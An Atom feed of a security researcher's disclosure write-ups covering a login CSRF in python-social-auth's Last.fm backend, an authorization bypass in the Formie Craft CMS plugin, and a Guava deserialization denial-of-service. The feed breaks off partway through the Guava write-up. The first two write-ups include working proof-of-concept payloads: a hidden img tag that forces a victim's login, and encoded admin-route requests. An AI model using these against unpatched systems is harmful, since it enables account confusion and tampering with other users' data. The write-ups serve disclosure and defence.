<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://kearikan.com/feed/writeups.xml" rel="self" type="application/atom+xml" /><link href="https://kearikan.com/" rel="alternate" type="text/html" /><updated>2026-09-30T17:52:31+00:00</updated><id>https://kearikan.com/feed/writeups.xml</id><title type="html">Kaya Emre Arıkan | Writeups</title><subtitle>Writeups on vulnerabilities I&apos;ve found and responsibly disclosed — published only after the vendor advisory or CVE is public.</subtitle><author><name>Kaya Emre Arıkan</name></author><entry><title type="html">python-social-auth: Login CSRF in the Last.fm Backend</title><link href="https://kearikan.com/writeups/python-social-auth-lastfm-login-csrf/" rel="alternate" type="text/html" title="python-social-auth: Login CSRF in the Last.fm Backend" /><published>2026-09-30T00:00:00+00:00</published><updated>2026-09-30T00:00:00+00:00</updated><id>https://kearikan.com/writeups/python-social-auth-lastfm-login-csrf</id><content type="html" xml:base="https://kearikan.com/writeups/python-social-auth-lastfm-login-csrf/"><![CDATA[<h2 id="summary">Summary</h2>

<p><code class="language-plaintext highlighter-rouge">social-auth-core</code> (the backend engine behind <code class="language-plaintext highlighter-rouge">python-social-auth</code>, used by the
Django/Flask/… integrations) shipped a login-CSRF in its <strong>Last.fm</strong> backend:
<code class="language-plaintext highlighter-rouge">LastFmAuth</code> drives the whole authentication flow without ever binding it to the
browser session that started it.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">auth_url()</code> returns the Last.fm authorization URL and stores <strong>nothing</strong> in
the session — no <code class="language-plaintext highlighter-rouge">state</code>, no server-generated token.</li>
  <li><code class="language-plaintext highlighter-rouge">auth_complete()</code> reads the <code class="language-plaintext highlighter-rouge">token</code> parameter straight from the callback,
exchanges it for a Last.fm session, and logs the <strong>current request’s session</strong>
in as whoever approved that token.</li>
</ul>

<p>So an attacker can approve the application in their own browser, capture the
callback URL, and get a victim’s browser to open it. The victim ends up in a
fully authenticated session that belongs to the <strong>attacker’s</strong> Last.fm identity.
Fixed in <strong>5.2.0</strong>.</p>

<h2 id="background">Background</h2>

<p><code class="language-plaintext highlighter-rouge">python-social-auth</code> runs third-party logins through per-provider <em>backends</em>.
For OAuth2 providers the framework already defends against login CSRF by
default: <code class="language-plaintext highlighter-rouge">BaseOAuth2</code> turns the <code class="language-plaintext highlighter-rouge">state</code> parameter on (<code class="language-plaintext highlighter-rouge">STATE_PARAMETER = True</code>),
stores a random value in the session when the flow starts, and
<code class="language-plaintext highlighter-rouge">validate_state()</code> rejects any callback whose <code class="language-plaintext highlighter-rouge">state</code> is missing, unknown, or
mismatched. That single check is what ties “the browser that began the flow” to
“the browser that came back on the callback.”</p>

<p>Last.fm does not use OAuth2 — it has its own web-auth handshake with a <code class="language-plaintext highlighter-rouge">token</code>
parameter and an MD5-signed <code class="language-plaintext highlighter-rouge">auth.getSession</code> exchange — so it never inherited
that protection and needs its own equivalent. It didn’t have one.</p>

<p>This is the same class the project fixed repeatedly during an earlier login-CSRF
campaign — LoginRadius (<code class="language-plaintext highlighter-rouge">GHSA-x7qq-23vw-7pfg</code>), Twilio, and the LINE backend
(<code class="language-plaintext highlighter-rouge">GHSA-526j-582w-7fm9</code>, itself published as an <em>incomplete fix</em> of the 5.0.0
round). The Last.fm flow was simply never part of that campaign.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">social_core/backends/lastfm.py</code>, identical in <code class="language-plaintext highlighter-rouge">5.1.1</code> and on <code class="language-plaintext highlighter-rouge">master</code> at the
time of reporting:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">auth_url</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">AUTH_URL</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">api_key</span><span class="o">=</span><span class="bp">self</span><span class="p">.</span><span class="n">setting</span><span class="p">(</span><span class="s">"KEY"</span><span class="p">))</span>

<span class="o">@</span><span class="n">handle_http_errors</span>
<span class="k">def</span> <span class="nf">auth_complete</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
    <span class="s">"""Completes login process, must return user instance"""</span>
    <span class="n">key</span><span class="p">,</span> <span class="n">secret</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_key_and_secret</span><span class="p">()</span>
    <span class="n">token</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="s">"token"</span><span class="p">]</span>

    <span class="n">signature</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span>
        <span class="sa">f</span><span class="s">"api_key</span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s">methodauth.getSessiontoken</span><span class="si">{</span><span class="n">token</span><span class="si">}{</span><span class="n">secret</span><span class="si">}</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span>

    <span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_json</span><span class="p">(</span>
        <span class="s">"https://ws.audioscrobbler.com/2.0/"</span><span class="p">,</span>
        <span class="n">data</span><span class="o">=</span><span class="p">{</span>
            <span class="s">"method"</span><span class="p">:</span> <span class="s">"auth.getSession"</span><span class="p">,</span>
            <span class="s">"api_key"</span><span class="p">:</span> <span class="n">key</span><span class="p">,</span>
            <span class="s">"token"</span><span class="p">:</span> <span class="n">token</span><span class="p">,</span>
            <span class="s">"api_sig"</span><span class="p">:</span> <span class="n">signature</span><span class="p">,</span>
            <span class="s">"format"</span><span class="p">:</span> <span class="s">"json"</span><span class="p">,</span>
        <span class="p">},</span>
        <span class="n">method</span><span class="o">=</span><span class="s">"POST"</span><span class="p">,</span>
    <span class="p">)</span>

    <span class="n">kwargs</span><span class="p">.</span><span class="n">update</span><span class="p">({</span><span class="s">"response"</span><span class="p">:</span> <span class="n">response</span><span class="p">[</span><span class="s">"session"</span><span class="p">],</span> <span class="s">"backend"</span><span class="p">:</span> <span class="bp">self</span><span class="p">})</span>
    <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">authenticate</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">auth_url()</code> writes nothing to <code class="language-plaintext highlighter-rouge">self.strategy.session_*</code>, and <code class="language-plaintext highlighter-rouge">auth_complete()</code>
consumes <code class="language-plaintext highlighter-rouge">self.data["token"]</code> with no comparison against any pre-flow session
value — there is not even a stored value that <em>could</em> be compared. Because the
callback is a plain, idempotent <code class="language-plaintext highlighter-rouge">GET</code> that carries only a <code class="language-plaintext highlighter-rouge">token</code>, no callback of
this backend can be distinguished as “the one this browser started.” That is the
definition of login CSRF.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<h3 id="the-attack-is-a-single-url">The attack is a single URL</h3>

<p>The callback is a plain, idempotent <code class="language-plaintext highlighter-rouge">GET</code> whose only meaningful parameter is
<code class="language-plaintext highlighter-rouge">token</code>, so there is nothing to forge beyond a link:</p>

<ol>
  <li>
    <p>The attacker approves the target application on <strong>their own</strong> Last.fm account
and captures where Last.fm redirects them back to:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.example/complete/lastfm/?token=ATK-a60a928997
</code></pre></div>    </div>
  </li>
  <li>
    <p>The attacker gets the victim’s browser to issue that same <code class="language-plaintext highlighter-rouge">GET</code>. Because it’s
an idempotent GET, it fires from an ordinary auto-loading tag on any page the
victim opens — no click required:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- the victim only has to load a page containing this --&gt;</span>
<span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://app.example/complete/lastfm/?token=ATK-a60a928997"</span>
     <span class="na">style=</span><span class="s">"display:none"</span><span class="nt">&gt;</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>The victim’s session is now authenticated as the attacker. No token of the
victim’s own was ever involved.</p>

<h3 id="library-level-proof">Library-level proof</h3>

<p>Dropped into the backend’s own test harness (<code class="language-plaintext highlighter-rouge">BaseBackendTest</code>, the same base
the project’s <code class="language-plaintext highlighter-rouge">test_lastfm.py</code> uses). The “victim” session never starts a flow;
the callback carries only the attacker’s approved token:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">LastFmLoginCSRFTest</span><span class="p">(</span><span class="n">BaseBackendTest</span><span class="p">):</span>
    <span class="n">backend_path</span> <span class="o">=</span> <span class="s">"social_core.backends.lastfm.LastFmAuth"</span>

    <span class="k">def</span> <span class="nf">test_start_binds_nothing_to_the_session</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">start_url</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">.</span><span class="n">start</span><span class="p">().</span><span class="n">url</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="n">start_url</span><span class="p">,</span> <span class="s">"https://www.last.fm/api/auth/?api_key=a-key"</span><span class="p">)</span>
        <span class="c1"># neither a state nor a server-generated token is stored for later verification
</span>        <span class="bp">self</span><span class="p">.</span><span class="n">assertIsNone</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">session_get</span><span class="p">(</span><span class="s">"lastfm_state"</span><span class="p">))</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">assertIsNone</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">session_get</span><span class="p">(</span><span class="s">"lastfm_token"</span><span class="p">))</span>

    <span class="k">def</span> <span class="nf">test_attacker_token_logs_victim_session_in_as_attacker</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">mock_get_session</span><span class="p">()</span>                          <span class="c1"># ws.audioscrobbler.com -&gt; {"name": "attacker-lastfm"}
</span>        <span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">set_request_data</span><span class="p">({</span><span class="s">"token"</span><span class="p">:</span> <span class="s">"attacker-approved-token"</span><span class="p">},</span> <span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">)</span>
        <span class="n">user</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">.</span><span class="n">complete</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="n">user</span><span class="p">.</span><span class="n">username</span><span class="p">,</span> <span class="s">"attacker-lastfm"</span><span class="p">)</span>               <span class="c1"># session is now the attacker
</span>        <span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">session_get</span><span class="p">(</span><span class="s">"username"</span><span class="p">),</span> <span class="s">"attacker-lastfm"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">test_victim_started_own_flow_does_not_change_the_outcome</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>                             <span class="c1"># even a genuine victim-initiated flow...
</span>        <span class="bp">self</span><span class="p">.</span><span class="n">mock_get_session</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">strategy</span><span class="p">.</span><span class="n">set_request_data</span><span class="p">({</span><span class="s">"token"</span><span class="p">:</span> <span class="s">"attacker-approved-token"</span><span class="p">},</span> <span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">backend</span><span class="p">.</span><span class="n">complete</span><span class="p">().</span><span class="n">username</span><span class="p">,</span> <span class="s">"attacker-lastfm"</span><span class="p">)</span>   <span class="c1"># ...still loses
</span></code></pre></div></div>

<p>All four assertions pass against <code class="language-plaintext highlighter-rouge">5.1.1</code> / <code class="language-plaintext highlighter-rouge">master</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>test_a_second_arbitrary_token_is_equally_accepted        PASSED
test_attacker_token_logs_victim_session_in_as_attacker   PASSED
test_start_binds_nothing_to_the_session                  PASSED
test_victim_started_own_flow_does_not_change_the_outcome PASSED
4 passed
</code></pre></div></div>

<h3 id="end-to-end-real-django-session-real-http">End-to-end (real Django session, real HTTP)</h3>

<p>A minimal Django app on the stock <code class="language-plaintext highlighter-rouge">LastFmAuth</code> backend, run against a mock
Last.fm speaking HTTPS. The attacker approves on their own account (ARM 1), the
victim’s browser opens the captured URL (ARM 2), and the victim’s <em>server-side</em>
session becomes the attacker’s (ARM 3–4). The controls confirm a normal own-flow
login still maps to its own identity, and a tokenless callback is refused:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ARM 0   victim (fresh browser)          -&gt; ANONYMOUS
ARM 1   attacker approves on OWN acct   -&gt; 302  Location: /complete/lastfm/?token=ATK-a60a928997
ARM 2   VICTIM opens that URL           -&gt; 302  Location: /
ARM 3   victim session right after      -&gt; AUTHENTICATED  username=attacker  id=1
ARM 4   server-side (Django auth_user)  -&gt; _auth_user_id=1 -&gt; username=attacker

CONTROL A   visitor completes OWN flow  -&gt; AUTHENTICATED  username=victim  id=2
CONTROL B   callback with no token      -&gt; 500  (nothing to exchange)

mock Last.fm side of the exchange:
  approval issued   token=ATK-a60a928997
  auth.getSession   token=ATK-a60a928997 -&gt; user=attacker   &lt;-- exchanged inside the VICTIM's session
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<ul>
  <li><strong>Forced authentication.</strong> Any visitor who can be lured into opening the
crafted callback URL — a link, a meta-refresh, an <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code>/iframe — lands in a
session authenticated as the attacker’s Last.fm account, without ever touching
Last.fm themselves.</li>
  <li><strong>Attribution to the attacker.</strong> Anything the victim then does in that session
(uploads, profile edits, saved settings, payment details) accrues to — and is
readable from — the attacker’s account. In per-user apps the victim is also
shown the attacker’s data.</li>
  <li><strong>Account-linking escalation.</strong> When an app links social identities onto an
already-authenticated local account, the same flow binds the attacker’s Last.fm
identity to the victim’s account, creating a persistent unauthorized login path
— exactly the consequence the LINE advisory describes for this class.</li>
</ul>

<p>The only precondition is that the Last.fm backend is enabled for login; no
special configuration and no account on the target app are required for the
victim. <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N</code> — <strong>Medium (5.4)</strong>,
CWE-352.</p>

<h2 id="the-fix">The fix</h2>

<p><code class="language-plaintext highlighter-rouge">5.2.0</code> gives the Last.fm flow its own session binding, mirroring the OAuth2
<code class="language-plaintext highlighter-rouge">state</code> mechanism (and the one-line LINE fix). <code class="language-plaintext highlighter-rouge">auth_url()</code> now generates a
state value and stores it in the session; <code class="language-plaintext highlighter-rouge">auth_complete()</code> calls
<code class="language-plaintext highlighter-rouge">validate_state()</code> before doing anything with the token:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">validate_state</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="c1"># rejects a callback whose state is missing / unknown / mismatched
</span>    <span class="p">...</span>

<span class="k">def</span> <span class="nf">auth_complete</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">validate_state</span><span class="p">()</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>A callback whose state the session never issued is now refused, so a token
approved in another browser can no longer complete a login in the victim’s
session. Upgrade <code class="language-plaintext highlighter-rouge">social-auth-core</code> to <strong>5.2.0</strong> or later.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2026-09-26 — Reported to the maintainers via private advisory.</li>
  <li>2026-09-30 — Fixed in <code class="language-plaintext highlighter-rouge">social-auth-core</code> 5.2.0; advisory <code class="language-plaintext highlighter-rouge">GHSA-99rw-f693-vv9r</code> published.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Public advisory: <a href="https://github.com/python-social-auth/social-core/security/advisories/GHSA-99rw-f693-vv9r">GHSA-99rw-f693-vv9r</a>
(no CVE assigned). Fixed in <a href="https://github.com/python-social-auth/social-core/releases/tag/5.2.0">social-auth-core 5.2.0</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">Formie’s Guest-Only Submission Gate Let Any Logged-In Member Overwrite Another User’s Submission</title><link href="https://kearikan.com/writeups/formie-member-context-submission-overwrite/" rel="alternate" type="text/html" title="Formie’s Guest-Only Submission Gate Let Any Logged-In Member Overwrite Another User’s Submission" /><published>2026-09-30T00:00:00+00:00</published><updated>2026-09-30T00:00:00+00:00</updated><id>https://kearikan.com/writeups/formie-member-context-submission-overwrite</id><content type="html" xml:base="https://kearikan.com/writeups/formie-member-context-submission-overwrite/"><![CDATA[<h2 id="summary">Summary</h2>

<p>Formie is the form-builder plugin for Craft CMS. Its <code class="language-plaintext highlighter-rouge">submit</code> action accepts a <code class="language-plaintext highlighter-rouge">submissionId</code> parameter that lets a visitor resume an <em>incomplete</em> submission. An earlier advisory, <a href="https://github.com/verbb/formie/security/advisories/GHSA-584p-f93j-wpgc">GHSA-584p-f93j-wpgc</a> (“Unauthenticated users can overwrite incomplete submissions via submit action”), reported that anyone could supply another visitor’s <code class="language-plaintext highlighter-rouge">submissionId</code> and overwrite their in-progress submission. It was fixed in 3.1.31 / 2.2.23.</p>

<p>That fix is context-based, and it only rejects <strong>guests</strong>. Through the latest release at the time of writing, <strong>3.1.43</strong>, an authenticated member who holds <em>no</em> Control-Panel permission at all could still reach the same code path by sending the request to the plugin’s Control-Panel-classified route (<code class="language-plaintext highlighter-rouge">/admin/actions/formie/submissions/submit</code>). On that route the guest rejection does not apply and the site-request-only ownership gate never runs, so the member overwrites — and, because the form has <code class="language-plaintext highlighter-rouge">collectUser</code> enabled, re-owns — another user’s submission. This is <a href="https://github.com/verbb/formie/security/advisories/GHSA-p696-447f-9258">GHSA-p696-447f-9258</a> (Medium, CVSS 6.5, CWE-639 / CWE-863).</p>

<h2 id="background">Background</h2>

<p>Formie stores each in-progress multi-page submission with a <code class="language-plaintext highlighter-rouge">submissionId</code>, and the <code class="language-plaintext highlighter-rouge">submit</code> action lets a client resume one by sending that id back. Craft routes an action request in one of two “contexts”: a <strong>site request</strong> (the normal front-end form post) or a <strong>Control-Panel request</strong>, selected by the URL prefix — anything under the configured CP trigger (<code class="language-plaintext highlighter-rouge">admin</code> by default) is a CP request, everything else is a site request. The distinction matters because a lot of Craft/Formie authorization logic branches on <code class="language-plaintext highlighter-rouge">Craft::$app-&gt;getRequest()-&gt;getIsSiteRequest()</code>.</p>

<p>The 3.1.31 fix for the anonymous-overwrite bug lives in <code class="language-plaintext highlighter-rouge">src/controllers/SubmissionsController.php</code>. It leans entirely on that context distinction, which is where the gap is.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Three facts about <code class="language-plaintext highlighter-rouge">SubmissionsController.php</code> on 3.1.43 combine into the bypass:</p>

<ol>
  <li>
    <p><strong>The CP-context guard rejects only anonymous callers.</strong> On a CP-classified request, a guest is turned away with <code class="language-plaintext highlighter-rouge">ForbiddenHttpException('Anonymous submissions are only permitted through the site request.')</code>. An authenticated member — even one with no CP access and no admin flag — passes this check.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">_populateSubmission()</code> trusts the caller’s <code class="language-plaintext highlighter-rouge">submissionId</code>.</strong> It loads the submission named by the request without checking that the current user owns it, and, when the form has <code class="language-plaintext highlighter-rouge">collectUser</code> enabled, calls <code class="language-plaintext highlighter-rouge">$submission-&gt;setUser($user)</code> with the <em>current</em> user. The caller therefore becomes the owner of whatever submission they named.</p>
  </li>
  <li>
    <p><strong>The ownership/session gate is scoped to site requests.</strong> The validation that would normally force an owner/session match runs on the site-request path only. For a CP-classified request it is skipped, so the protection added in 3.1.31 simply isn’t in effect on that route.</p>
  </li>
</ol>

<p>Put together: a logged-in member sends the resume request to the CP route instead of the site route, clears the only check that applies there (not being a guest), and lands in <code class="language-plaintext highlighter-rouge">_populateSubmission()</code> with an attacker-chosen <code class="language-plaintext highlighter-rouge">submissionId</code> and no ownership check.</p>

<p>The CP context is also reachable through a percent-encoded prefix — <code class="language-plaintext highlighter-rouge">/%61dmin/actions/formie/submissions/submit</code> (<code class="language-plaintext highlighter-rouge">%61</code> = <code class="language-plaintext highlighter-rouge">a</code>) triggers the same CP classification, so a naive string match on <code class="language-plaintext highlighter-rouge">admin</code> in front of the route does not help.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Verified live against product code, unmodified: Craft CMS 5.11.3 (Pro), verbb/formie <strong>3.1.43</strong>, PHP 8.2.26, MariaDB 11. Both actors, <code class="language-plaintext highlighter-rouge">victim</code> and <code class="language-plaintext highlighter-rouge">attacker</code>, are ordinary active members confirmed in-process to have <code class="language-plaintext highlighter-rouge">can('accessCp') === false</code> and <code class="language-plaintext highlighter-rouge">admin === false</code>. Every request carries a valid CSRF token from its own session.</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Actor</th>
      <th>Route</th>
      <th>HTTP</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A</td>
      <td>victim (owner)</td>
      <td><code class="language-plaintext highlighter-rouge">POST /actions/formie/submissions/submit</code></td>
      <td>302</td>
      <td>owner resumes their own submission — the gate is not broken in general</td>
    </tr>
    <tr>
      <td>B</td>
      <td>attacker (member)</td>
      <td>same <strong>site</strong> route, victim’s id</td>
      <td><strong>403</strong></td>
      <td><em>“User is not permitted to perform this action”</em> — control; the site-route guard works</td>
    </tr>
    <tr>
      <td>C</td>
      <td>attacker</td>
      <td><code class="language-plaintext highlighter-rouge">POST /admin/actions/formie/submissions/submit</code>, victim’s id</td>
      <td><strong>302</strong></td>
      <td><strong>bypass</strong> — victim’s submission overwritten</td>
    </tr>
    <tr>
      <td>D</td>
      <td>attacker</td>
      <td><code class="language-plaintext highlighter-rouge">POST /%61dmin/actions/formie/submissions/submit</code>, victim’s id</td>
      <td><strong>302</strong></td>
      <td><strong>bypass</strong> (percent-encoded CP trigger) — overwritten <em>and completed</em></td>
    </tr>
    <tr>
      <td>E</td>
      <td>anonymous guest</td>
      <td><code class="language-plaintext highlighter-rouge">POST /admin/actions/...</code></td>
      <td><strong>403</strong></td>
      <td><em>“Anonymous submissions are only permitted through the site request.”</em> — the only case the guard actually covers</td>
    </tr>
  </tbody>
</table>

<p>The observable write from request C, read straight back out of the database:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>before:  userId=null   isIncomplete=true    values={"yourName":"VICTIM-NAME", ...}
after:   userId=4       isIncomplete=true    values={"yourName":"ATTACKER-CP", ...}
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">userId</code> is the submission’s owner. The CP-context POST rewrote the victim’s answers and re-owned the record to the attacker’s user id (id 4). Request D additionally flips <code class="language-plaintext highlighter-rouge">isIncomplete</code> to false — completing the submission — after which the victim can no longer resume it at all: a follow-up owner POST answers <code class="language-plaintext highlighter-rouge">400 No submission exists with the ID &lt;n&gt;</code>, because a completed submission is no longer resumable.</p>

<h2 id="impact">Impact</h2>

<p>Any authenticated user of the site — a self-registered member with the lowest possible privilege, no Control-Panel access, no admin flag — can overwrite the in-progress submission of any other user whose <code class="language-plaintext highlighter-rouge">submissionId</code> they can obtain or guess, corrupting its contents, completing it so the rightful owner is locked out, and (when <code class="language-plaintext highlighter-rouge">collectUser</code> is on) taking ownership of the record. It is an authorization/IDOR failure: CWE-639 (authorization bypass through a user-controlled key) and CWE-863 (incorrect authorization), scored <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</code> = 6.5.</p>

<p>The root shape is worth calling out for anyone reviewing similar fixes: the 3.1.31 patch treated “is this a site request?” as a proxy for “is this an ordinary front-end visitor?” A Control-Panel request from a logged-in member with zero CP rights breaks that assumption — the context check and the privilege check are not the same thing, and gating on the former leaves the latter unenforced.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2026-09-24 — Reported to the maintainers via GitHub private vulnerability report</li>
  <li>2026-09-30 — Advisory GHSA-p696-447f-9258 published (Medium, 6.5); affects <code class="language-plaintext highlighter-rouge">verbb/formie &lt;= 3.1.43</code></li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Based entirely on the public advisory: <a href="https://github.com/verbb/formie/security/advisories/GHSA-p696-447f-9258">GHSA-p696-447f-9258</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">A 72-Byte Serialized Stream Forced Gigabyte Allocations in Guava</title><link href="https://kearikan.com/writeups/guava-compacthash-mapmaker-deserialization-dos/" rel="alternate" type="text/html" title="A 72-Byte Serialized Stream Forced Gigabyte Allocations in Guava" /><published>2026-09-29T00:00:00+00:00</published><updated>2026-09-29T00:00:00+00:00</updated><id>https://kearikan.com/writeups/guava-compacthash-mapmaker-deserialization-dos</id><content type="html" xml:base="https://kearikan.com/writeups/guava-compacthash-mapmaker-deserialization-dos/"><![CDATA[<h2 id="summary">Summary</h2>

<p><code class="language-plaintext highlighter-rouge">CompactHashMap</code>, <code class="language-plaintext highlighter-rouge">CompactHashSet</code>, and <code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> in Google’s Guava library implement <code class="language-plaintext highlighter-rouge">readObject(ObjectInputStream)</code> by reading an attacker-controlled size field — <code class="language-plaintext highlighter-rouge">elementCount</code> for the <code class="language-plaintext highlighter-rouge">CompactHash*</code> collections, <code class="language-plaintext highlighter-rouge">initialCapacity</code>/<code class="language-plaintext highlighter-rouge">concurrencyLevel</code> for <code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> — straight off the wire. On the very first insertion, each implementation eagerly allocates backing arrays sized to that full, unvalidated declared value, without ever checking it against how much data the stream actually contains. A 72-byte serialized stream carrying a single tiny element can force several gigabytes of allocation and crash the JVM with <code class="language-plaintext highlighter-rouge">OutOfMemoryError</code>. This is CVE-2026-102554 / <a href="https://github.com/google/guava/security/advisories/GHSA-xxph-c9ww-hj94">GHSA-xxph-c9ww-hj94</a>, fixed in Guava 33.7.2.</p>

<h2 id="background">Background</h2>

<p>This is the same amplification shape as the long-fixed CVE-2018-10237, which affected <code class="language-plaintext highlighter-rouge">AtomicDoubleArray</code> and <code class="language-plaintext highlighter-rouge">CompoundOrdering</code>: an attacker declares a large size up front, and the library allocates for that size before validating it against the stream’s real content. Guava’s own <code class="language-plaintext highlighter-rouge">HashBiMap.readObject()</code> already documents the correct defense in a comment on the line that avoids this exact trap: <code class="language-plaintext highlighter-rouge">init(16); // resist hostile attempts to allocate gratuitous heap</code>. <code class="language-plaintext highlighter-rouge">ArrayListMultimap</code>, <code class="language-plaintext highlighter-rouge">HashMultiset</code>, <code class="language-plaintext highlighter-rouge">LinkedHashMultiset</code>, <code class="language-plaintext highlighter-rouge">LinkedHashMultimap</code>, <code class="language-plaintext highlighter-rouge">ImmutableSetMultimap</code>, and <code class="language-plaintext highlighter-rouge">ImmutableListMultimap</code> all follow the same defensive pattern elsewhere in the codebase. <code class="language-plaintext highlighter-rouge">CompactHashMap</code>, <code class="language-plaintext highlighter-rouge">CompactHashSet</code>, and <code class="language-plaintext highlighter-rouge">MapMakerInternalMap</code> did not.</p>

<p>All three classes are top-level, <code class="language-plaintext highlighter-rouge">implements Serializable</code>, and Guava is present on the classpath of a large fraction of the JVM ecosystem — a native Java deserialization attacker can name any of them directly in a hand-crafted stream, with no dependency on which factory method the victim application actually used.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">CompactHashMap.readObject()</code> reads the declared count and only checks that it is non-negative:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">readObject</span><span class="o">(</span><span class="nc">ObjectInputStream</span> <span class="n">stream</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span>
  <span class="n">stream</span><span class="o">.</span><span class="na">defaultReadObject</span><span class="o">();</span>
  <span class="kt">int</span> <span class="n">elementCount</span> <span class="o">=</span> <span class="n">stream</span><span class="o">.</span><span class="na">readInt</span><span class="o">();</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">elementCount</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nf">InvalidObjectException</span><span class="o">(</span><span class="s">"Invalid size: "</span> <span class="o">+</span> <span class="n">elementCount</span><span class="o">);</span>
  <span class="o">}</span>
